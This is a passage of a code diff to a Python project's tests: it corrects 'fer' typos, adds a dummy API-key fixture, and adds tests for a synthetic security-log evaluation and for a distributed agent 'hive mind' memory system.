diff --git a/tests/e2e/test_hook_protocol_e2e.py b/tests/e2e/test_hook_protocol_e2e.py index ce2f1c09f..6eeb0fe45 100644 --- a/tests/e2e/test_hook_protocol_e2e.py +++ b/tests/e2e/test_hook_protocol_e2e.py @@ -1,4 +1,4 @@ -"""End-to-end tests fer hook protocol. +"""End-to-end tests for hook protocol. Tests complete hook workflows from outside-in perspective: - Hook creation and execution @@ -118,7 +118,7 @@ def test_hook_timeout_handling(self, harness): # Create slow hook hook_script = """ import time -time.sleep(60) # Sleep fer 60 seconds +time.sleep(60) # Sleep for 60 seconds """ harness.create_hook("slow_hook", hook_script, language="python") diff --git a/tests/e2e/test_lsp_detection_e2e.py b/tests/e2e/test_lsp_detection_e2e.py index 542eca0f6..bd9d1e385 100644 --- a/tests/e2e/test_lsp_detection_e2e.py +++ b/tests/e2e/test_lsp_detection_e2e.py @@ -1,4 +1,4 @@ -"""End-to-end tests fer LSP detection and configuration. +"""End-to-end tests for LSP detection and configuration. Tests complete LSP workflows from outside-in perspective: - Language detection @@ -199,12 +199,12 @@ def test_configure_typescript_lsp(self, harness): assert harness.verify_lsp_config_exists("typescript") def test_configure_multi_language_lsp(self, harness): - """Test configurin' LSP fer multiple languages. + """Test configurin' LSP for multiple languages. Workflow: 1. Create multi-language project 2. Configure LSP - 3. Verify configs created fer all languages + 3. Verify configs created for all languages """ harness.create_multi_language_project() @@ -217,11 +217,11 @@ def test_configure_multi_language_lsp(self, harness): assert harness.verify_lsp_config_exists("rust") def test_configure_specific_language(self, harness): - """Test configurin' LSP fer specific language. + """Test configurin' LSP for specific language. Workflow: 1. Create multi-language project - 2. Configure LSP fer Python only + 2. Configure LSP for Python only 3. Verify only Python config created """ harness.create_multi_language_project() @@ -235,7 +235,7 @@ def test_configure_specific_language(self, harness): assert not harness.verify_lsp_config_exists("rust") def test_configure_invalid_language(self, harness): - """Test configurin' LSP fer invalid language. + """Test configurin' LSP for invalid language. Workflow: 1. Try to configure unsupported language diff --git a/tests/e2e/test_plugin_manager_e2e.py b/tests/e2e/test_plugin_manager_e2e.py index 4a48c7867..e2ba2f4f7 100644 --- a/tests/e2e/test_plugin_manager_e2e.py +++ b/tests/e2e/test_plugin_manager_e2e.py @@ -1,4 +1,4 @@ -"""End-to-end tests fer plugin manager lifecycle. +"""End-to-end tests for plugin manager lifecycle. Tests complete plugin workflows from outside-in perspective: - Install -> Configure -> Use -> Uninstall @@ -38,7 +38,7 @@ def test_install_local_plugin(self, harness, tmp_path): (plugin_dir / "manifest.json").write_text("""{ "name": "sample-plugin", "version": "1.0.0", - "description": "Sample plugin fer testin'" + "description": "Sample plugin for testin'" }""") # Install plugin diff --git a/tests/eval/conftest.py b/tests/eval/conftest.py new file mode 100644 index 000000000..a26cf4790 --- /dev/null +++ b/tests/eval/conftest.py @@ -0,0 +1,18 @@ +"""Shared fixtures for eval tests.""" + +from __future__ import annotations + +import os +import pytest + + +@pytest.fixture(autouse=True) +def mock_anthropic_api_key(monkeypatch): + """Set a dummy ANTHROPIC_API_KEY for tests that mock the Anthropic client. + + Most eval tests patch anthropic.Anthropic directly, so the real key is + never used. This fixture ensures the env var check in grader.py passes + without requiring a real API key in CI. + """ + if not os.environ.get("ANTHROPIC_API_KEY"): + monkeypatch.setenv("ANTHROPIC_API_KEY", "test-key-for-unit-tests") # pragma: allowlist secret diff --git a/tests/eval/test_harness_runner.py b/tests/eval/test_harness_runner.py index ab742ad65..d61966e4b 100644 --- a/tests/eval/test_harness_runner.py +++ b/tests/eval/test_harness_runner.py @@ -260,7 +260,7 @@ def test_run_harness_returns_scores(tmp_path): stdout=json.dumps({"answers": [{"question": "Q1", "answer": "A1", "confidence": 0.9}]}), ) - with patch("amplihack.eval.grader.grade_answer") as mock_grade: + with patch("amplihack.eval.harness_runner.grade_answer") as mock_grade: mock_grade.return_value = MagicMock(score=0.85, reasoning="Good answer") result = run_harness(config) diff --git a/tests/eval/test_security_log_eval.py b/tests/eval/test_security_log_eval.py new file mode 100644 index 000000000..bff078127 --- /dev/null +++ b/tests/eval/test_security_log_eval.py @@ -0,0 +1,201 @@ +"""Tests for security_log_eval.py — data generation and grading.""" + +from __future__ import annotations + +import sys +from pathlib import Path + +import pytest + +sys.path.insert(0, str(Path(__file__).parent.parent / "src")) + +from amplihack.eval.security_log_eval import ( + AttackCampaign, + SecurityLogEval, + SecurityQuestion, + _generate_campaigns, + _generate_campaign_events, + _generate_noise_events, + _generate_questions, + _grade_answer, +) +import random + + +class TestCampaignGeneration: + def test_deterministic(self): + c1 = _generate_campaigns(random.Random(42), 6) + c2 = _generate_campaigns(random.Random(42), 6) + assert [c.campaign_id for c in c1] == [c.campaign_id for c in c2] + assert [c.threat_actor for c in c1] == [c.threat_actor for c in c2] + + def test_num_campaigns(self): + campaigns = _generate_campaigns(random.Random(42), 12) + assert len(campaigns) == 12 + + def test_campaign_has_required_fields(self): + campaigns = _generate_campaigns(random.Random(42), 3) + for c in campaigns: + assert c.campaign_id.startswith("CAMP-") + assert len(c.target_devices) >= 3 + assert len(c.target_users) >= 1 + assert len(c.techniques) >= 3 + assert len(c.iocs["ip"]) >= 2 + assert len(c.malware_hashes) >= 1 + assert c.objective in ("data_exfiltration", "ransomware", "espionage", "cryptomining", "supply_chain") + + def test_unique_campaign_ids(self): + campaigns = _generate_campaigns(random.Random(42), 12) + ids = [c.campaign_id for c in campaigns] + assert len(ids) == len(set(ids)) + + +class TestEventGeneration: + def test_campaign_produces_events(self): + campaigns = _generate_campaigns(random.Random(42), 1) + events = _generate_campaign_events(random.Random(42), campaigns[0]) + assert len(events) >= 5 # at least initial access + exec + c2 + file + noise + + def test_events_have_mde_format(self): + campaigns = _generate_campaigns(random.Random(42), 1) + events = _generate_campaign_events(random.Random(42), campaigns[0]) + campaign_events = [e for e in events if e["phase"] != "noise"] + for e in campaign_events: + assert "[MDE " in e["content"] + assert "DeviceName:" in e["content"] or "AlertId:" in e["content"] + + def test_events_have_ground_truth(self): + campaigns = _generate_campaigns(random.Random(42), 1) + events = _generate_campaign_events(random.Random(42), campaigns[0]) + facts = [f for e in events for f in e["facts"]] + assert len(facts) >= 3 + + def test_noise_events_have_no_facts(self): + events = _generate_noise_events(random.Random(42), 50, 30) + for e in events: + assert e["facts"] == [] + assert e["phase"] == "noise" + assert e["campaign_id"] == "BENIGN" + + def test_noise_event_count(self): + events = _generate_noise_events(random.Random(42), 100, 30) + assert len(events) == 100 + + +class TestQuestionGeneration: + def test_generates_questions(self): + campaigns = _generate_campaigns(random.Random(42), 6) + questions = _generate_questions(campaigns, random.Random(42), 50) + assert len(questions) <= 50 + assert len(questions) >= 20 # at least 5 per campaign × 4 types + + def test_question_categories(self): + campaigns = _generate_campaigns(random.Random(42), 6) + questions = _generate_questions(campaigns, random.Random(42), 100) + categories = {q.category for q in questions} + assert "alert_retrieval" in categories + assert "attack_chain" in categories + assert "ioc_correlation" in categories + assert "temporal" in categories + + def test_question_has_ground_truth(self): + campaigns = _generate_campaigns(random.Random(42), 3) + questions = _generate_questions(campaigns, random.Random(42), 20) + for q in questions: + assert len(q.required_keywords) >= 1 + assert len(q.campaign_ids) >= 1 + + +class TestGrading: + def test_perfect_answer(self): + q = SecurityQuestion( + question_id="SEC-0001", + question="What devices were targeted?", + category="alert_retrieval", + ground_truth_facts=["CAMP-2024-001 on WS-FIN-001"], + required_keywords=["WS-FIN-001", "WS-ENG-002"], + campaign_ids=["CAMP-2024-001"], + difficulty="easy", + ) + answer = "Campaign CAMP-2024-001 targeted WS-FIN-001 and WS-ENG-002." + result = _grade_answer(q, answer) + assert result.recall == 1.0 + assert result.score > 0.9 + + def test_partial_answer(self): + q = SecurityQuestion( + question_id="SEC-0002", + question="What IPs were used?", + category="ioc_correlation", + ground_truth_facts=[], + required_keywords=["185.100.1.1", "185.200.2.2", "hash123"], + campaign_ids=["CAMP-2024-001"], + difficulty="medium", + ) + answer = "The attack used IP 185.100.1.1 for C2 communication." + result = _grade_answer(q, answer) + assert result.recall == pytest.approx(1 / 3, abs=0.01) + assert len(result.matched_keywords) == 1 + assert len(result.missing_keywords) == 2 + + def test_empty_answer(self): + q = SecurityQuestion( + question_id="SEC-0003", + question="What happened?", + category="alert_retrieval", + ground_truth_facts=[], + required_keywords=["WS-FIN-001"], + campaign_ids=["CAMP-2024-001"], + difficulty="easy", + ) + result = _grade_answer(q, "I don't know.") + assert result.recall == 0.0 + assert result.score == 0.0 + + +class TestSecurityLogEval: + def test_generate_creates_data(self): + eval_harness = SecurityLogEval(num_turns=500, num_questions=20, num_campaigns=3, seed=42) + eval_harness.generate() + assert len(eval_harness.events) == 500 + assert len(eval_harness.questions) <= 20 + assert len(eval_harness.campaigns) == 3 + + def test_deterministic_generation(self): + e1 = SecurityLogEval(num_turns=200, num_questions=10, num_campaigns=3, seed=99) + e1.generate() + e2 = SecurityLogEval(num_turns=200, num_questions=10, num_campaigns=3, seed=99) + e2.generate() + assert [e["content"][:50] for e in e1.events] == [e["content"][:50] for e in e2.events] + + def test_events_have_mde_prefix(self): + e = SecurityLogEval(num_turns=100, num_questions=5, num_campaigns=2, seed=42) + e.generate() + mde_events = [ev for ev in e.events if "[MDE " in ev["content"]] + assert len(mde_events) == len(e.events) + + def test_report_to_dict(self): + from amplihack.eval.security_log_eval import SecurityEvalReport + + report = SecurityEvalReport( + overall_score=0.85, + overall_precision=0.90, + overall_recall=0.80, + overall_f1=0.85, + num_questions=100, + num_turns=10000, + num_campaigns=12, + ) + d = report.to_dict() + assert d["eval_type"] == "security_log_mde" + assert d["overall_score"] == 0.85 + assert d["num_campaigns"] == 12 + + def test_scale_to_50k(self): + """Verify we can generate 50K events without issues.""" + e = SecurityLogEval(num_turns=50000, num_questions=100, num_campaigns=12, seed=42) + e.generate() + assert len(e.events) == 50000 + # Check campaign events are present (not all noise) + campaign_events = [ev for ev in e.events if ev["campaign_id"] != "BENIGN"] + assert len(campaign_events) >= 100 # at least some campaign events survived shuffling diff --git a/tests/harness/__init__.py b/tests/harness/__init__.py index 7fd497598..f7ea87192 100644 --- a/tests/harness/__init__.py +++ b/tests/harness/__init__.py @@ -1,6 +1,6 @@ -"""Test harness fer outside-in plugin testin'. +"""Test harness for outside-in plugin testin'. -Provides subprocess-based test harnesses fer plugin lifecycle, hooks, and LSP detection. +Provides subprocess-based test harnesses for plugin lifecycle, hooks, and LSP detection. """ from .subprocess_test_harness import ( diff --git a/tests/harness/subprocess_test_harness.py b/tests/harness/subprocess_test_harness.py index 30084a2d0..fad1fe271 100644 --- a/tests/harness/subprocess_test_harness.py +++ b/tests/harness/subprocess_test_harness.py @@ -1,4 +1,4 @@ -"""Subprocess-based test harness fer outside-in plugin testin'. +"""Subprocess-based test harness for outside-in plugin testin'. import sys Philosophy: @@ -70,7 +70,7 @@ def assert_in_stdout(self, text: str, message: str | None = None) -> None: """Assert text appears in stdout. Args: - text: Text to search fer + text: Text to search for message: Custom error message Raises: @@ -83,7 +83,7 @@ def assert_in_stderr(self, text: str, message: str | None = None) -> None: """Assert text appears in stderr. Args: - text: Text to search fer + text: Text to search for message: Custom error message Raises: @@ -94,7 +94,7 @@ def assert_in_stderr(self, text: str, message: str | None = None) -> None: class PluginTestHarness: - """Test harness fer plugin lifecycle testin'. + """Test harness for plugin lifecycle testin'. Tests plugin installation, configuration, and uninstallation from outside-in perspective. @@ -110,8 +110,8 @@ def __init__(self, plugin_dir: Path | None = None, timeout: int = 60): """Initialize plugin test harness. Args: - plugin_dir: Directory fer plugin installation (default: temp dir) - timeout: Timeout in seconds fer commands (default: 60) + plugin_dir: Directory for plugin installation (default: temp dir) + timeout: Timeout in seconds for commands (default: 60) """ self.plugin_dir = plugin_dir or Path(tempfile.mkdtemp(prefix="plugin_test_")) self.timeout = timeout @@ -334,7 +334,7 @@ def _extract_plugin_name(self, stdout: str) -> str | None: Returns: Plugin name if found """ - # Look fer lines like "Installed plugin: my-plugin" + # Look for lines like "Installed plugin: my-plugin" for line in stdout.split("\n"): if "installed plugin:" in line.lower(): parts = line.split(":") @@ -344,7 +344,7 @@ def _extract_plugin_name(self, stdout: str) -> str | None: class HookTestHarness: - """Test harness fer hook protocol testin'. + """Test harness for hook protocol testin'. Tests hook execution, error handlin', and lifecycle from outside-in perspective. @@ -360,7 +360,7 @@ def __init__(self, project_dir: Path | None = None, timeout: int = 30): Args: project_dir: Project directory (default: temp dir) - timeout: Timeout in seconds fer commands (default: 30) + timeout: Timeout in seconds for commands (default: 30) """ self.project_dir = project_dir or Path(tempfile.mkdtemp(prefix="hook_test_")) self.timeout = timeout @@ -503,7 +503,7 @@ def cleanup(self) -> None: class LSPTestHarness: - """Test harness fer LSP detection testin'. + """Test harness for LSP detection testin'. Tests language detection and LSP configuration generation from outside-in perspective. @@ -520,30 +520,30 @@ def __init__(self, project_dir: Path | None = None, timeout: int = 30): Args: project_dir: Project directory (default: temp dir) - timeout: Timeout in seconds fer commands (default: 30) + timeout: Timeout in seconds for commands (default: 30) """ self.project_dir = project_dir or Path(tempfile.mkdtemp(prefix="lsp_test_")) self.timeout = timeout def create_python_project(self) -> None: - """Create a Python project fer testin'.""" + """Create a Python project for testin'.""" (self.project_dir / "main.py").write_text("print('Hello, World!')") (self.project_dir / "pyproject.toml").write_text("[tool.poetry]\nname = 'test'") def create_typescript_project(self) -> None: - """Create a TypeScript project fer testin'.""" + """Create a TypeScript project for testin'.""" (self.project_dir / "index.ts").write_text("const x: string = 'test';") (self.project_dir / "tsconfig.json").write_text('{"compilerOptions": {}}') def create_rust_project(self) -> None: - """Create a Rust project fer testin'.""" + """Create a Rust project for testin'.""" src_dir = self.project_dir / "src" src_dir.mkdir(exist_ok=True) (src_dir / "main.rs").write_text('fn main() { println!("Hello"); }') (self.project_dir / "Cargo.toml").write_text('[package]\nname = "test"') def create_multi_language_project(self) -> None: - """Create a multi-language project fer testin'.""" + """Create a multi-language project for testin'.""" self.create_python_project() self.create_typescript_project() self.create_rust_project() @@ -590,7 +590,7 @@ def detect_languages(self) -> SubprocessResult: ) def configure_lsp(self, languages: list[str] | None = None) -> SubprocessResult: - """Configure LSP fer detected languages. + """Configure LSP for detected languages. Args: languages: Specific languages to configure (default: auto-detect) @@ -637,7 +637,7 @@ def configure_lsp(self, languages: list[str] | None = None) -> SubprocessResult: ) def verify_lsp_config_exists(self, language: str) -> bool: - """Verify LSP config was created fer language. + """Verify LSP config was created for language. Args: language: Language name diff --git a/tests/hive_mind/test_cognitive_adapter_hive.py b/tests/hive_mind/test_cognitive_adapter_hive.py index 98355b24a..e1567f218 100644 --- a/tests/hive_mind/test_cognitive_adapter_hive.py +++ b/tests/hive_mind/test_cognitive_adapter_hive.py @@ -115,3 +115,20 @@ def test_deduplication_by_content(self, adapter_a, adapter_b, hive): sky_facts = [r for r in results if "sky is blue" in r.get("fact", r.get("outcome", ""))] # Should be deduplicated (at most 1 local + 0 from hive since same content) assert len(sky_facts) <= 2 + + +class TestSearchByConceptHive: + """search_by_concept() must also search the distributed hive.""" + + def test_search_by_concept_finds_other_agents_facts(self, adapter_a, adapter_b, hive): + """Regression: search_by_concept was local-only, missing cross-shard facts. + + When agent_a stores a fact and agent_b calls search_by_concept, + the result must contain agent_a's fact via the hive store. + """ + adapter_a.store_fact("Personal Information", "Sarah Chen was born on March 15 1992") + results = adapter_b.search_by_concept(keywords=["Sarah Chen"], limit=10) + contents = [r.get("outcome", r.get("content", "")) for r in results] + assert any("Sarah" in c for c in contents), ( + "search_by_concept should find hive facts from other agents; got: " + str(contents) + ) diff --git a/tests/hive_mind/test_comprehensive_qa.py b/tests/hive_mind/test_comprehensive_qa.py new file mode 100644 index 000000000..129598a0c --- /dev/null +++ b/tests/hive_mind/test_comprehensive_qa.py @@ -0,0 +1,1457 @@ +"""Comprehensive QA test suite for the distributed hive mind feature. + +Covers edge cases, error paths, boundary conditions, security scenarios, +concurrency, and integration paths not covered by existing tests. + +Testing pyramid: +- 60% Unit tests (edge cases, boundary conditions, error paths) +- 30% Integration tests (multi-component interactions) +- 10% Concurrency and stress tests +""" + +from __future__ import annotations + +import hashlib +import json +import math +import threading +import time +import uuid + +import pytest + +from amplihack.agents.goal_seeking.hive_mind.bloom import BloomFilter +from amplihack.agents.goal_seeking.hive_mind.constants import ( + DEFAULT_BROADCAST_THRESHOLD, + DEFAULT_CONFIDENCE_GATE, + GOSSIP_MIN_CONFIDENCE, + MAX_TRUST_SCORE, + PEER_CONFIDENCE_DISCOUNT, +) +from amplihack.agents.goal_seeking.hive_mind.crdt import GSet, LWWRegister, ORSet +from amplihack.agents.goal_seeking.hive_mind.dht import ( + DHTRouter, + HashRing, + ShardFact, + ShardStore, +) +from amplihack.agents.goal_seeking.hive_mind.event_bus import ( + BusEvent, + LocalEventBus, + make_event, +) +from amplihack.agents.goal_seeking.hive_mind.fact_lifecycle import ( + FactTTL, + decay_confidence, + gc_expired_facts, + refresh_confidence, +) +from amplihack.agents.goal_seeking.hive_mind.gossip import ( + GossipProtocol, + convergence_check, + run_gossip_round, +) +from amplihack.agents.goal_seeking.hive_mind.hive_graph import ( + HiveAgent, + HiveEdge, + HiveFact, + HiveGraph, + InMemoryHiveGraph, + create_hive_graph, +) +from amplihack.agents.goal_seeking.hive_mind.orchestrator import ( + DefaultPromotionPolicy, + HiveMindOrchestrator, + PromotionPolicy, +) +from amplihack.agents.goal_seeking.hive_mind.quality import ( + QualityGate, + score_content_quality, +) +from amplihack.agents.goal_seeking.hive_mind.reranker import ( + ScoredFact, + hybrid_score, + hybrid_score_weighted, + rrf_merge, + trust_weighted_score, +) + + +# =========================================================================== +# Section 1: EDGE CASES & BOUNDARY CONDITIONS (Unit Tests) +# =========================================================================== + + +class TestHiveGraphEdgeCases: + """Edge cases for InMemoryHiveGraph not covered by existing tests.""" + + def test_register_duplicate_agent_raises(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + with pytest.raises(ValueError, match="already registered"): + hive.register_agent("a1") + + def test_unregister_unknown_agent_raises(self) -> None: + hive = InMemoryHiveGraph("test") + with pytest.raises(KeyError, match="not found"): + hive.unregister_agent("nonexistent") + + def test_get_agent_returns_none_for_unknown(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive.get_agent("ghost") is None + + def test_promote_fact_with_unregistered_agent_raises(self) -> None: + hive = InMemoryHiveGraph("test") + fact = HiveFact(fact_id="f1", content="test", concept="test") + with pytest.raises(KeyError, match="not registered"): + hive.promote_fact("unknown_agent", fact) + + def test_promote_fact_generates_id_when_empty(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + fact = HiveFact(fact_id="", content="test content", concept="test") + fid = hive.promote_fact("a1", fact) + assert fid.startswith("hf_") + assert len(fid) > 3 + + def test_promote_fact_clamps_confidence(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + # Above 1.0 + f1 = HiveFact(fact_id="f1", content="high", concept="t", confidence=5.0) + hive.promote_fact("a1", f1) + assert hive.get_fact("f1").confidence == 1.0 + # Below 0.0 + f2 = HiveFact(fact_id="f2", content="low", concept="t", confidence=-1.0) + hive.promote_fact("a1", f2) + assert hive.get_fact("f2").confidence == 0.0 + + def test_update_trust_clamps_to_range(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + hive.update_trust("a1", 100.0) + assert hive.get_agent("a1").trust == MAX_TRUST_SCORE + hive.update_trust("a1", -50.0) + assert hive.get_agent("a1").trust == 0.0 + + def test_update_trust_unknown_agent_raises(self) -> None: + hive = InMemoryHiveGraph("test") + with pytest.raises(KeyError): + hive.update_trust("ghost", 1.0) + + def test_retract_nonexistent_fact_returns_false(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive.retract_fact("nonexistent") is False + + def test_retract_fact_excludes_from_queries(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + fact = HiveFact(fact_id="f1", content="retractable content", concept="test") + hive.promote_fact("a1", fact) + hive.retract_fact("f1") + results = hive.query_facts("retractable content") + assert all(f.fact_id != "f1" for f in results) + + def test_query_facts_empty_query_returns_all(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + for i in range(5): + hive.promote_fact("a1", HiveFact( + fact_id=f"f{i}", content=f"fact {i}", concept="t" + )) + results = hive.query_facts("") + assert len(results) == 5 + + def test_query_facts_whitespace_only_returns_all(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + hive.promote_fact("a1", HiveFact(fact_id="f1", content="test", concept="t")) + results = hive.query_facts(" ") + assert len(results) == 1 + + def test_check_contradictions_empty_concept_returns_empty(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive.check_contradictions("some content", "") == [] + + def test_check_contradictions_same_content_not_flagged(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + hive.promote_fact("a1", HiveFact( + fact_id="f1", content="Earth orbits the Sun", concept="astronomy" + )) + # Exact same content should not be a contradiction + result = hive.check_contradictions("Earth orbits the Sun", "astronomy") + assert len(result) == 0 + + def test_route_query_empty_returns_empty(self) -> None: + hive = InMemoryHiveGraph("test") + assert hive.route_query("") == [] + assert hive.route_query(" ") == [] + + def test_route_query_matches_domain(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("bio_agent", domain="biology genetics") + hive.register_agent("chem_agent", domain="chemistry molecules") + result = hive.route_query("biology") + assert "bio_agent" in result + + def test_add_child_deduplicates(self) -> None: + parent = InMemoryHiveGraph("parent") + child = InMemoryHiveGraph("child") + parent.add_child(child) + parent.add_child(child) # Duplicate + assert parent.get_stats()["child_count"] == 1 + + def test_escalate_without_parent_returns_false(self) -> None: + hive = InMemoryHiveGraph("test") + fact = HiveFact(fact_id="f1", content="test", concept="t") + assert hive.escalate_fact(fact) is False + + def test_get_stats_structure(self) -> None: + hive = InMemoryHiveGraph("test") + hive.register_agent("a1") + stats = hive.get_stats() + assert "hive_id" in stats + assert "agent_count" in stats + assert "fact_count" in stats + assert "active_facts" in stats + assert stats["agent_count"] == 1 + + def test_create_hive_graph_unknown_backend_raises(self) -> None: + with pytest.raises(ValueError, match="Unknown backend"): + create_hive_graph(backend="postgresql") + + def test_create_hive_graph_memory_default(self) -> None: + hive = create_hive_graph("memory", hive_id="custom-id") + assert hive.hive_id == "custom-id" + + +class TestHiveGraphFederation: + """Tests for federation tree operations.""" + + def test_escalate_and_broadcast_round_trip(self) -> None: + parent = InMemoryHiveGraph("parent") + parent.register_agent("parent_agent") + child_a = InMemoryHiveGraph("child_a") + child_a.register_agent("agent_a") + child_b = InMemoryHiveGraph("child_b") + child_b.register_agent("agent_b") + + child_a.set_parent(parent) + child_b.set_parent(parent) + parent.add_child(child_a) + parent.add_child(child_b) + + # child_a promotes a high-confidence fact + fact = HiveFact( + fact_id="f1", content="Important discovery", concept="science", + confidence=0.95, + ) + child_a.promote_fact("agent_a", fact) + + # Fact should have been escalated to parent and broadcast to child_b + parent_facts = parent.query_facts("Important discovery") + assert len(parent_facts) >= 1 + + def test_federated_query_prevents_loops(self) -> None: + """Federation queries should not loop infinitely in circular trees.""" + hive_a = InMemoryHiveGraph("a") + hive_a.register_agent("agent_a") + hive_b = InMemoryHiveGraph("b") + hive_b.register_agent("agent_b") + + hive_a.set_parent(hive_b) + hive_b.set_parent(hive_a) + hive_a.add_child(hive_b) + hive_b.add_child(hive_a) + + hive_a.promote_fact("agent_a", HiveFact( + fact_id="f1", content="circular test fact", concept="test" + )) + + # Should complete without infinite recursion + results = hive_a.query_federated("circular test") + assert isinstance(results, list) + + def test_federated_query_deduplicates_across_hives(self) -> None: + parent = InMemoryHiveGraph("parent") + parent.register_agent("p_agent") + child = InMemoryHiveGraph("child") + child.register_agent("c_agent") + parent.add_child(child) + child.set_parent(parent) + + # Same content in both hives + same_content = "Shared knowledge fact" + parent.promote_fact("p_agent", HiveFact( + fact_id="pf1", content=same_content, concept="shared" + )) + child.promote_fact("c_agent", HiveFact( + fact_id="cf1", content=same_content, concept="shared" + )) + + results = parent.query_federated("Shared knowledge") + contents = [f.content for f in results] + assert contents.count(same_content) == 1 + + +class TestEventBusEdgeCases: + """Edge cases for LocalEventBus.""" + + def test_publish_on_closed_bus_raises(self) -> None: + bus = LocalEventBus() + bus.close() + event = make_event("TEST", "agent_a") + with pytest.raises(RuntimeError, match="closed"): + bus.publish(event) + + def test_no_self_delivery(self) -> None: + bus = LocalEventBus() + bus.subscribe("agent_a") + event = make_event("TEST", "agent_a", {"data": "self"}) + bus.publish(event) + assert bus.poll("agent_a") == [] + + def test_event_type_filtering(self) -> None: + bus = LocalEventBus() + bus.subscribe("agent_a", event_types=["FACT_LEARNED"]) + bus.subscribe("agent_b") + event_learn = make_event("FACT_LEARNED", "agent_c", {"data": "learn"}) + event_other = make_event("OTHER_EVENT", "agent_c", {"data": "other"}) + bus.publish(event_learn) + bus.publish(event_other) + a_events = bus.poll("agent_a") + b_events = bus.poll("agent_b") + assert len(a_events) == 1 # Only FACT_LEARNED + assert len(b_events) == 2 # Both events + + def test_poll_unsubscribed_agent_returns_empty(self) -> None: + bus = LocalEventBus() + assert bus.poll("nonexistent") == [] + + def test_unsubscribe_clears_pending_events(self) -> None: + bus = LocalEventBus() + bus.subscribe("agent_a") + bus.publish(make_event("TEST", "agent_b")) + bus.unsubscribe("agent_a") + assert bus.poll("agent_a") == [] + + def test_resubscribe_preserves_events(self) -> None: + bus = LocalEventBus() + bus.subscribe("agent_a") + bus.publish(make_event("TEST", "agent_b")) + # Re-subscribe with new filter should keep existing events + bus.subscribe("agent_a", event_types=["TEST"]) + events = bus.poll("agent_a") + assert len(events) == 1 + + def test_bus_event_json_roundtrip(self) -> None: + event = make_event("FACT_PROMOTED", "agent_x", { + "content": "Test content", + "confidence": 0.95, + "nested": {"key": "value"}, + }) + json_str = event.to_json() + restored = BusEvent.from_json(json_str) + assert restored.event_id == event.event_id + assert restored.event_type == event.event_type + assert restored.payload == event.payload + + def test_bus_event_from_json_invalid_raises(self) -> None: + with pytest.raises(json.JSONDecodeError): + BusEvent.from_json("not valid json") + + def test_bus_event_from_json_missing_field_raises(self) -> None: + with pytest.raises((KeyError, TypeError)): + BusEvent.from_json('{"event_id": "x"}') + + def test_make_event_generates_unique_ids(self) -> None: + e1 = make_event("TEST", "a") + e2 = make_event("TEST", "a") + assert e1.event_id != e2.event_id + + +class TestCRDTEdgeCases: + """Edge cases for CRDT data types.""" + + def test_gset_merge_is_commutative(self) -> None: + a = GSet() + b = GSet() + a.add("x") + b.add("y") + # a.merge(b) should give same result as b.merge(a) + a_copy = GSet() + a_copy.add("x") + b_copy = GSet() + b_copy.add("y") + a.merge(b) + b_copy.merge(a_copy) + assert a.items == b_copy.items + + def test_gset_merge_is_idempotent(self) -> None: + a = GSet() + b = GSet() + a.add("x") + b.add("x") + b.add("y") + a.merge(b) + items_after_first = a.items + a.merge(b) + assert a.items == items_after_first + + def test_gset_serialization_roundtrip(self) -> None: + gs = GSet() + gs.add("alpha") + gs.add("beta") + data = gs.to_dict() + restored = GSet.from_dict(data) + assert restored.items == gs.items + + def test_orset_add_remove_add_is_present(self) -> None: + """ORSet: add-wins semantics -- re-adding after remove makes present.""" + s = ORSet() + s.add("x") + s.remove("x") + assert not s.contains("x") + s.add("x") # Fresh tag + assert s.contains("x") + + def test_orset_merge_is_commutative(self) -> None: + a = ORSet() + b = ORSet() + a.add("x") + b.add("y") + a_copy = ORSet() + a_copy.add("x") + b_copy = ORSet() + b_copy.add("y") + a.merge(b) + b_copy.merge(a_copy) + assert a.items == b_copy.items + + def test_orset_serialization_roundtrip(self) -> None: + s = ORSet() + s.add("a") + s.add("b") + s.remove("a") + data = s.to_dict() + restored = ORSet.from_dict(data) + assert restored.items == s.items + + def test_lww_register_latest_wins(self) -> None: + reg = LWWRegister() + reg.set("old", 1.0) + reg.set("new", 2.0) + assert reg.get() == "new" + + def test_lww_register_older_write_ignored(self) -> None: + reg = LWWRegister() + reg.set("first", 2.0) + reg.set("older", 1.0) # Earlier timestamp + assert reg.get() == "first" + + def test_lww_register_tie_breaks_by_value(self) -> None: + reg = LWWRegister() + reg.set("aaa", 1.0) + reg.set("zzz", 1.0) # Same timestamp, higher string value + assert reg.get() == "zzz" + + def test_lww_register_merge(self) -> None: + a = LWWRegister() + b = LWWRegister() + a.set("from_a", 1.0) + b.set("from_b", 2.0) + a.merge(b) + assert a.get() == "from_b" + + def test_lww_register_merge_with_empty(self) -> None: + a = LWWRegister() + b = LWWRegister() + a.set("value", 1.0) + a.merge(b) # Merging empty should keep a's value + assert a.get() == "value" + + def test_lww_register_serialization_roundtrip(self) -> None: + reg = LWWRegister() + reg.set(42.0, 1.0) + data = reg.to_dict() + restored = LWWRegister.from_dict(data) + assert restored.get() == 42.0 + + def test_lww_register_serialization_empty(self) -> None: + reg = LWWRegister() + data = reg.to_dict() + assert data["value"] is None + restored = LWWRegister.from_dict(data) + assert restored.get() is None + + +class TestBloomFilterEdgeCases: + """Edge cases for BloomFilter.""" + + def test_no_false_negatives(self) -> None: + bf = BloomFilter(expected_items=100) + items = [f"item_{i}" for i in range(100)] + bf.add_all(items) + for item in items: + assert bf.might_contain(item), f"False negative for {item}" + + def test_empty_filter_contains_nothing(self) -> None: + bf = BloomFilter(expected_items=100) + assert not bf.might_contain("anything") + + def test_count_tracks_additions(self) -> None: + bf = BloomFilter() + assert bf.count == 0 + bf.add("a") + bf.add("b") + assert bf.count == 2 + + def test_missing_from_returns_absent_items(self) -> None: + bf = BloomFilter(expected_items=10) + bf.add("present") + missing = bf.missing_from(["present", "absent"]) + assert "absent" in missing + assert "present" not in missing + + def test_serialization_roundtrip(self) -> None: + bf = BloomFilter(expected_items=50) + bf.add_all(["alpha", "beta", "gamma"]) + raw = bf.to_bytes() + 